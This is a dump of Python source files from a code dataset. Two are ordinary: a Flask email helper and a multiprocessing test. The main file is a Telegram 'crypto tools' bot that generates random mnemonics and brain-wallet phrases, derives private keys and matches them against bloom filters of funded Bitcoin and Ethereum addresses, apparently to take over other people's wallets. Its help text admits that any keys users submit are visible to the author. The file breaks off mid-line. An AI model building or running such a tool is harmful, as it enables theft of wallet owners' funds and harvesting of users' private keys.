source
stringlengths
3
86
python
stringlengths
75
1.04M
email.py
from threading import Thread from flask import current_app, render_template from flask_mail import Message import time from . import mail def send_async_email(app, msg): with app.app_context(): try: mail.send(msg) # ๆœ‰ไบ›็ฝ‘็ซ™ๆŠŠ่ฟžๆŽฅๅพˆ็Ÿญ็š„่ฏทๆฑ‚ๅฝ“ไฝœๆถๆ„่ฎฟ้—ฎ except Exception as e: app.logger.debug('********* error in send_async_email:mail.send(msg) *********\n'+str(e)) def send_email(to, subject, template, **kwargs): app = current_app._get_current_object() msg = Message(app.config['MAIL_SUBJECT_PREFIX_JH'] + ' ' + subject, sender=app.config['MAIL_SENDER_JH'], recipients=[to]) msg.body = render_template(template + '.txt', **kwargs) msg.html = render_template(template + '.html', **kwargs) thr = Thread(target=send_async_email, args=[app, msg]) thr.start() return thr
test_thread.py
import multiprocessing, time,signal from time import gmtime, strftime from multiprocessing import Pool import progressbar def test1(): p = multiprocessing.Process(target=time.sleep, args=(1000,)) print p, p.is_alive() p.start() print p, p.is_alive() print strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime()) p.join(10) print strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime()) p.terminate() time.sleep(0.1) print p, p.is_alive() print p.exitcode def run_worker(addr): print multiprocessing.current_process() print "Analyzing "+str(addr) time.sleep(1) return addr def test2(): def _addresses_to_check_with_caching(analysis_tuples,show_progress=True): num_addrs = len(analysis_tuples) widgets = ['ROP: ', progressbar.Percentage(), ' ', progressbar.Bar(marker=progressbar.RotatingMarker()), ' ', progressbar.ETA(), ' ', progressbar.FileTransferSpeed()] progress = progressbar.ProgressBar(widgets=widgets, maxval=num_addrs) if show_progress: progress.start() for i, a in enumerate(analysis_tuples): if show_progress: progress.update(i) print a yield a if show_progress: progress.finish() #:param processes: number of processes to use #If initializer is not None then each worker process will call initializer(*initargs) when it starts. pool = Pool(processes=3) analysis_tuples=range(100) it = pool.imap_unordered(run_worker, _addresses_to_check_with_caching(analysis_tuples), chunksize=5) for i in it: print i pool.close() test2()
toolsMizogg.py
import json, requests, hashlib, codecs, ecdsa, base58, binascii, random import hmac, struct, sys, os, smtplib from rich import print import secp256k1 as ice import hashlib, codecs, ecdsa, base58, binascii, random import hmac, struct, sys, os, time import bit from bit import Key from bit.format import bytes_to_wif from telebot import * from bloomfilter import BloomFilter, ScalableBloomFilter, SizeGrowthRate from pathlib import Path from time import sleep import threading from threading import Thread import requests # ============================================================================= gmail_user = 'youremail@gmail.com' gmail_password = 'yourpassword' bot = telebot.TeleBot("yourapi") # crytpo # ============================================================================= print('[yellow] Please with Database Loading.....[/yellow]') bloombtc = Path(__file__).resolve() ressbtc = bloombtc.parents[0] / 'BF/btc.bf' bloometh = Path(__file__).resolve() resseth = bloometh.parents[0] / 'BF/eth.bf' with open(resseth, "rb") as fp: bloom_filter1 = BloomFilter.load(fp) with open(ressbtc, "rb") as fp: bloom_filter = BloomFilter.load(fp) btc_count = len(bloom_filter) eth_count = len(bloom_filter1) addr_count = len(bloom_filter)+len(bloom_filter1) print('[yellow] Total Bitcoin and ETH Addresses Loaded >> [ [/yellow]', addr_count, '[yellow]][/yellow]') # ============================================================================= n = "\n" order = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 mylist = [] with open('words.txt', newline='', encoding='utf-8') as f: for line in f: mylist.append(line.strip()) with open('english.txt') as f: wordlist = f.read().split('\n') # ============================================================================= ICEWORDS = '''[red] โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„ โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆโ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆโ–ˆ โ–ˆโ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–„โ–„โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„โ–„โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–ˆ โ–ˆ โ–„โ–„ โ–ˆ โ–ˆโ–„โ–ˆ โ–ˆโ–„โ–„โ–„โ–„โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–„ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆ ___ ___ (o o) (o o) ( V ) MIZOGG ( V ) --m-m------------m-m-- [/red]''' RANGER = '''[red] โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„ โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆโ–„โ–ˆ โ–ˆ โ–„โ–„โ–„โ–„โ–ˆ โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–ˆ โ–ˆโ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„ โ–ˆ โ–„โ–„ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–„โ–ˆ โ–„โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–ˆโ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–ˆ ___ ___ (o o) (o o) ( V ) MIZOGG ( V ) --m-m------------m-m-- [/red]''' FULLRANGE = '''[red] โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„ โ–„โ–„ โ–„โ–„โ–„ โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„ โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–„โ–„โ–„โ–„โ–„โ–„โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆโ–„โ–ˆ โ–ˆ โ–„โ–„โ–„โ–„โ–ˆ โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–ˆ โ–ˆโ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–„ โ–ˆ โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–„ โ–ˆ โ–„โ–„ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„โ–„โ–„โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–„ โ–ˆ โ–ˆ โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–ˆ โ–ˆ โ–ˆโ–„โ–„โ–„ โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–„โ–ˆ โ–ˆโ–„โ–ˆโ–„โ–„โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–ˆ โ–ˆโ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆโ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–ˆ ___ ___ (o o) (o o) ( V ) MIZOGG ( V ) --m-m------------m-m-- [/red]''' # ============================================================================= def create_valid_mnemonics(strength=128): rbytes = os.urandom(strength // 8) h = hashlib.sha256(rbytes).hexdigest() b = ( bin(int.from_bytes(rbytes, byteorder="big"))[2:].zfill(len(rbytes) * 8) \ + bin(int(h, 16))[2:].zfill(256)[: len(rbytes) * 8 // 32] ) result = [] for i in range(len(b) // 11): idx = int(b[i * 11 : (i + 1) * 11], 2) result.append(wordlist[idx]) return " ".join(result) def mnem_to_seed(words): salt = 'mnemonic' seed = hashlib.pbkdf2_hmac("sha512",words.encode("utf-8"), salt.encode("utf-8"), 2048) return seed def bip39seed_to_bip32masternode(seed): h = hmac.new(b'Bitcoin seed', seed, hashlib.sha512).digest() key, chain_code = h[:32], h[32:] return key, chain_code def parse_derivation_path(str_derivation_path="m/44'/0'/0'/0/0"): # 60' is for ETH 0' is for BTC path = [] if str_derivation_path[0:2] != 'm/': raise ValueError("Can't recognize derivation path. It should look like \"m/44'/0'/0'/0\".") for i in str_derivation_path.lstrip('m/').split('/'): if "'" in i: path.append(0x80000000 + int(i[:-1])) else: path.append(int(i)) return path def parse_derivation_path2(str_derivation_path="m/49'/0'/0'/0/0"): path = [] if str_derivation_path[0:2] != 'm/': raise ValueError("Can't recognize derivation path. It should look like \"m/49'/0'/0'/0\".") for i in str_derivation_path.lstrip('m/').split('/'): if "'" in i: path.append(0x80000000 + int(i[:-1])) else: path.append(int(i)) return path def derive_bip32childkey(parent_key, parent_chain_code, i): assert len(parent_key) == 32 assert len(parent_chain_code) == 32 k = parent_chain_code if (i & 0x80000000) != 0: key = b'\x00' + parent_key else: # key = bytes(PublicKey(parent_key)) key = bit.Key.from_bytes(parent_key).public_key d = key + struct.pack('>L', i) while True: h = hmac.new(k, d, hashlib.sha512).digest() key, chain_code = h[:32], h[32:] a = int.from_bytes(key, byteorder='big') b = int.from_bytes(parent_key, byteorder='big') key = (a + b) % order if a < order and key != 0: key = key.to_bytes(32, byteorder='big') break d = b'\x01' + h[32:] + struct.pack('>L', i) return key, chain_code def bip39seed_to_private_key(bip39seed, n=1): const = "m/44'/0'/0'/0/" # str_derivation_path = const + str(n-1) str_derivation_path = "m/44'/0'/0'/0/0" derivation_path = parse_derivation_path(str_derivation_path) master_private_key, master_chain_code = bip39seed_to_bip32masternode(bip39seed) private_key, chain_code = master_private_key, master_chain_code for i in derivation_path: private_key, chain_code = derive_bip32childkey(private_key, chain_code, i) return private_key def bip39seed_to_private_key2(bip39seed, n=1): const = "m/49'/0'/0'/0/" # str_derivation_path = const + str(n-1) str_derivation_path = "m/49'/0'/0'/0/0" derivation_path = parse_derivation_path2(str_derivation_path) master_private_key, master_chain_code = bip39seed_to_bip32masternode(bip39seed) private_key, chain_code = master_private_key, master_chain_code for i in derivation_path: private_key, chain_code = derive_bip32childkey(private_key, chain_code, i) return private_key def bip39seed_to_private_key3(bip39seed, n=1): const = "m/84'/0'/0'/0/" # str_derivation_path = const + str(n-1) str_derivation_path = "m/84'/0'/0'/0/0" derivation_path = parse_derivation_path2(str_derivation_path) master_private_key, master_chain_code = bip39seed_to_bip32masternode(bip39seed) private_key, chain_code = master_private_key, master_chain_code for i in derivation_path: private_key, chain_code = derive_bip32childkey(private_key, chain_code, i) return private_key def bip39seed_to_private_key4(bip39seed, n=1): const = "m/44'/60'/0'/0/" # str_derivation_path = const + str(n-1) str_derivation_path = "m/44'/60'/0'/0/0" derivation_path = parse_derivation_path2(str_derivation_path) master_private_key, master_chain_code = bip39seed_to_bip32masternode(bip39seed) private_key, chain_code = master_private_key, master_chain_code for i in derivation_path: private_key, chain_code = derive_bip32childkey(private_key, chain_code, i) return private_key # ============================================================================= def get_balance(caddr): contents = requests.get("https://btcbook.guarda.co/api/v2/address/" + caddr) res = contents.json() ress = json.dumps(res) resload = json.loads(ress) return resload def get_balance1(uaddr): contents = requests.get("https://btcbook.guarda.co/api/v2/address/" + uaddr) res = contents.json() ress = json.dumps(res) resload1 = json.loads(ress) return resload1 def get_balance2(p2sh): contents = requests.get("https://btcbook.guarda.co/api/v2/address/" + p2sh) res = contents.json() ress = json.dumps(res) resload2 = json.loads(ress) return resload2 def get_balance3(bech32): contents = requests.get("https://btcbook.guarda.co/api/v2/address/" + bech32) res = contents.json() ress = json.dumps(res) resload3 = json.loads(ress) return resload3 def get_balance4(ethaddr): contents = requests.get("https://ethbook.guarda.co/api/v2/address/" + ethaddr) res = contents.json() ress = json.dumps(res) resload4 = json.loads(ress) return resload4 # ============================================================================= class BrainWallet: @staticmethod def generate_address_from_passphrase(passphrase): private_key = str(hashlib.sha256( passphrase.encode('utf-8')).hexdigest()) address = BrainWallet.generate_address_from_private_key(private_key) return private_key, address @staticmethod def generate_address_from_private_key(private_key): public_key = BrainWallet.__private_to_public(private_key) address = BrainWallet.__public_to_address(public_key) return address @staticmethod def __private_to_public(private_key): private_key_bytes = codecs.decode(private_key, 'hex') # Get ECDSA public key key = ecdsa.SigningKey.from_string( private_key_bytes, curve=ecdsa.SECP256k1).verifying_key key_bytes = key.to_string() key_hex = codecs.encode(key_bytes, 'hex') # Add bitcoin byte bitcoin_byte = b'04' public_key = bitcoin_byte + key_hex return public_key @staticmethod def __public_to_address(public_key): public_key_bytes = codecs.decode(public_key, 'hex') # Run SHA256 for the public key sha256_bpk = hashlib.sha256(public_key_bytes) sha256_bpk_digest = sha256_bpk.digest() # Run ripemd160 for the SHA256 ripemd160_bpk = hashlib.new('ripemd160') ripemd160_bpk.update(sha256_bpk_digest) ripemd160_bpk_digest = ripemd160_bpk.digest() ripemd160_bpk_hex = codecs.encode(ripemd160_bpk_digest, 'hex') # Add network byte network_byte = b'00' network_bitcoin_public_key = network_byte + ripemd160_bpk_hex network_bitcoin_public_key_bytes = codecs.decode( network_bitcoin_public_key, 'hex') # Double SHA256 to get checksum sha256_nbpk = hashlib.sha256(network_bitcoin_public_key_bytes) sha256_nbpk_digest = sha256_nbpk.digest() sha256_2_nbpk = hashlib.sha256(sha256_nbpk_digest) sha256_2_nbpk_digest = sha256_2_nbpk.digest() sha256_2_hex = codecs.encode(sha256_2_nbpk_digest, 'hex') checksum = sha256_2_hex[:8] # Concatenate public key and checksum to get the address address_hex = (network_bitcoin_public_key + checksum).decode('utf-8') wallet = BrainWallet.base58(address_hex) return wallet @staticmethod def base58(address_hex): alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz' b58_string = '' # Get the number of leading zeros and convert hex to decimal leading_zeros = len(address_hex) - len(address_hex.lstrip('0')) # Convert hex to decimal address_int = int(address_hex, 16) # Append digits to the start of string while address_int > 0: digit = address_int % 58 digit_char = alphabet[digit] b58_string = digit_char + b58_string address_int //= 58 # Add '1' for each 2 leading zeros ones = leading_zeros // 2 for one in range(ones): b58_string = '1' + b58_string return b58_string # ============================================================================= @bot.message_handler(commands=["start"]) def start(message): print('[green]starting..........[/green]') markup_start = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("๐Ÿช“Address with Balance Check๐Ÿช“") option2 = types.KeyboardButton("๐Ÿ”จHEX to Address with Balance Check๐Ÿ”จ") option3 = types.KeyboardButton("โ›๏ธDEC to Address with Balance Checkโ›๏ธ") option4 = types.KeyboardButton("๐Ÿ”ฅWIF to Address with Balance Check๐Ÿ”ฅ") option5 = types.KeyboardButton("๐Ÿง BrainWallet to Address with Balance Check๐Ÿง ") option6 = types.KeyboardButton("โœ๏ธMnenomic to Address with Balance Checkโœ๏ธ") option7 = types.KeyboardButton("๐Ÿ”‹Power Hour Words ๐Ÿ”‹โœจ(Pro Access)โœจ") option8 = types.KeyboardButton("๐Ÿ”‹Power Hour Range ๐Ÿ”‹โœจ(Pro Access)โœจ") option9 = types.KeyboardButton("โœจRange Selector โœจ(Pro Access)โœจ") option10 = types.KeyboardButton("โ„น๏ธHELP and Information๐Ÿฆฎ") markup_start.add(option1, option2, option3, option4, option5, option6, option7, option8, option9, option10) bot.send_message(message.chat.id, f"๐Ÿค– Hello , {message.from_user.first_name}! Welcome to Mizogg's Crypto Tools Please Pick an Option to get Started ๐Ÿช“๐Ÿ”จโ›๏ธ", reply_markup=markup_start) @bot.message_handler(content_types=["text"]) def get_text(message): if message.text=="๐Ÿช“Address with Balance Check๐Ÿช“": print('[green]starting Crypto Balance Check Tool..........[/green]') markup_crypto = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("๐Ÿช™BTC Address with Balance Check๐Ÿช™") option2 = types.KeyboardButton("๐Ÿช™BCH Address with Balance Check๐Ÿช™") option3 = types.KeyboardButton("๐Ÿช™ETH Address with Balance Check๐Ÿช™") option4 = types.KeyboardButton("๐Ÿช™ETC Address with Balance Check๐Ÿช™") option5 = types.KeyboardButton("๐Ÿช™LTC Address with Balance Check๐Ÿช™") option6 = types.KeyboardButton("๐Ÿช™DOGE Address with Balance Check๐Ÿช™") option7 = types.KeyboardButton("๐Ÿช™DASH Address with Balance Check๐Ÿช™") option8 = types.KeyboardButton("๐Ÿช™Raven Address with Balance Check๐Ÿช™") option9 = types.KeyboardButton("๐Ÿช™ZCash Address with Balance Check๐Ÿช™") back = types.KeyboardButton("๐Ÿ”™Back") markup_crypto.add(option1, option2, option3, option4, option5, option6, option7, option8, option9, back) bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please pick โ‚ฟitcoin, Bitcoin Cash, Ethereum & Ethereum Classic, Litecoin, Dogecoin, DASH, Raven coin, ZCASH Balance Checker Button ๐Ÿช“๐Ÿ”จโ›๏ธ", reply_markup=markup_crypto) if message.text=="๐Ÿ”™Back": start(message) if message.text=="โ„น๏ธHELP and Information๐Ÿฆฎ": bot.send_message(message.chat.id, f" โ›”๏ธโš ๏ธATTENTION ALL, To avoid problems, this @Mizoggs_Crypto_Tools_Bot bot is in TEST mode, we check it for errors, speed and everything else, do not use your personal addresses, passwords and everything else, in order to avoid problems, all positive information comes to the author he sees everything, I think everyone understood!!! Please check out Main Crypto Crackers https://t.me/CryptoCrackersUK โ›”๏ธโš ๏ธ DO NOT USE YOUR OWN PRIVATE KEYSโš ๏ธโ›”๏ธ") time.sleep(2.5) start(message) if message.text=="๐Ÿช™BTC Address with Balance Check๐Ÿช™": print('[red]Bitcoin Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter โ‚ฟitcoin Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address) if message.text=="๐Ÿช™BCH Address with Balance Check๐Ÿช™": print('[red]Bitcoin Cash Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Bitcoin Cash Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_BCH) if message.text=="๐Ÿช™ETH Address with Balance Check๐Ÿช™": print('[red]Ethereum Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Ethereum Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_ETH) if message.text=="๐Ÿช™ETC Address with Balance Check๐Ÿช™": print('[red]Ethereum Classic Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Ethereum Classic Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_ETC) if message.text=="๐Ÿช™LTC Address with Balance Check๐Ÿช™": print('[red]Litecoin Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Litecoin Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_LTC) if message.text=="๐Ÿช™DOGE Address with Balance Check๐Ÿช™": print('[red]DOGE Coin Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Dogecoin Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_DOGE) if message.text=="๐Ÿช™DASH Address with Balance Check๐Ÿช™": print('[red]DASH Coin Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Dash Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_DASH) if message.text=="๐Ÿช™Raven Address with Balance Check๐Ÿช™": print('[red]Raven Coin Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Raven coin Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_RVN) if message.text=="๐Ÿช™ZCash Address with Balance Check๐Ÿช™": print('[red]Zcash Address Balance Info Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! Please Enter Zcash Address to Check ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_address_ZEC) if message.text=="๐Ÿ”จHEX to Address with Balance Check๐Ÿ”จ": print('[red]HEX to Address Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๐Ÿ”จHEX to Address with Balance Check Please Enter a Hexadecimal Private Key to Begin (Hexadecimal (or hex) is a base 16 system used to simplify how binary is represented. A hex digit can be any of the following 16 digits: 0 1 2 3 4 5 6 7 8 9 A B C D E F.)", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_HEX) if message.text=="โ›๏ธDEC to Address with Balance Checkโ›๏ธ": print('[red]DEC to Address Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! โ›๏ธDEC to Address with Balance Check Please Enter a Decimal Private Key to Begin. Decimal System lets us write numbers as large or as small as we want within the 256Bit Range ", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_DEC) if message.text=="๐Ÿ”ฅWIF to Address with Balance Check๐Ÿ”ฅ": print('[red]WIF to Address Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๐Ÿ”ฅWIF to โ‚ฟitcoin Address with Balance Check", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_WIF) if message.text=="๐Ÿง BrainWallet to Address with Balance Check๐Ÿง ": markup_brain = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("๐Ÿง Enter Your Own Brain Wallet๐Ÿง ") option2 = types.KeyboardButton("๐Ÿง Random Ammount of Brain Words with Balance Check๐Ÿง ") back = types.KeyboardButton("๐Ÿ”™Back") markup_brain.add(option1, option2, back) bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! PICK Enter Your Own Brain words or Random Ammount Generator Checker Button ๐Ÿช“๐Ÿ”จโ›๏ธ", reply_markup=markup_brain) if message.text=="๐Ÿง Enter Your Own Brain Wallet๐Ÿง ": print('[red]BrainWallet to Address Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True, row_width=1) back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๐Ÿง BrainWallet to โ‚ฟitcoin Address with Balance Check", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_BRAIN) if message.text=="๐Ÿง Random Ammount of Brain Words with Balance Check๐Ÿง ": print('[red]Random BrainWallet to Address Check Tool Entered [/red]') markup_brain = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("1-3 Words") option2 = types.KeyboardButton("3-6 Words") option3 = types.KeyboardButton("6-9 Words") option4 = types.KeyboardButton("9-12 Words") option5 = types.KeyboardButton("12-15 Words") option6 = types.KeyboardButton("15-18 Words") option7 = types.KeyboardButton("18-21 Words") option8 = types.KeyboardButton("21-24 Words") option9 = types.KeyboardButton("24-50 Words") markup_brain.add(option1, option2, option3, option4, option5, option6, option7, option8, option9) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๐Ÿง  Random BrainWallet to โ‚ฟitcoin Address with Balance Check", reply_markup=markup_brain) bot.register_next_step_handler(send_message, get_BRAIN_RANDOM) if message.text=="โœ๏ธMnenomic to Address with Balance Checkโœ๏ธ": print('[red]12/24words to Address Check Tool Entered [/red]') markup_back = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("โœจ12 Word ๏ธMnenomicโœจ") option2 = types.KeyboardButton("โœจ24 Word ๏ธMnenomicโœจ") back = types.KeyboardButton("๐Ÿ”™Back") markup_back.add(option1, option2, back) send_message = bot.send_message(message.chat.id, f"๐Ÿค– {message.from_user.first_name}! ๏ธMnenomic to โ‚ฟitcoin and Ethereum Address with Balance Check", reply_markup=markup_back) bot.register_next_step_handler(send_message, get_WORDS) if message.text=="๐Ÿ”‹Power Hour Words ๐Ÿ”‹โœจ(Pro Access)โœจ": print('[red]Power Hour Tool Entered [/red]') markup_power = types.ReplyKeyboardMarkup(resize_keyboard=True) option1 = types.KeyboardButton("1 Minutes Magic Random Words") option2 = types.KeyboardButton("5 Minutes Magic Random Words") option3 = types.KeyboardButton("15 Minutes Magic Random Words โœจ(Pro Access)โœจ") option4 = types.KeyboardButton("30 Minutes Magic Random Words โœจ(Pro Access)โœจ") option5 = types.KeyboardButton("1 Hour Magic Random Words โœจ(Pro Access)โœจ") back = 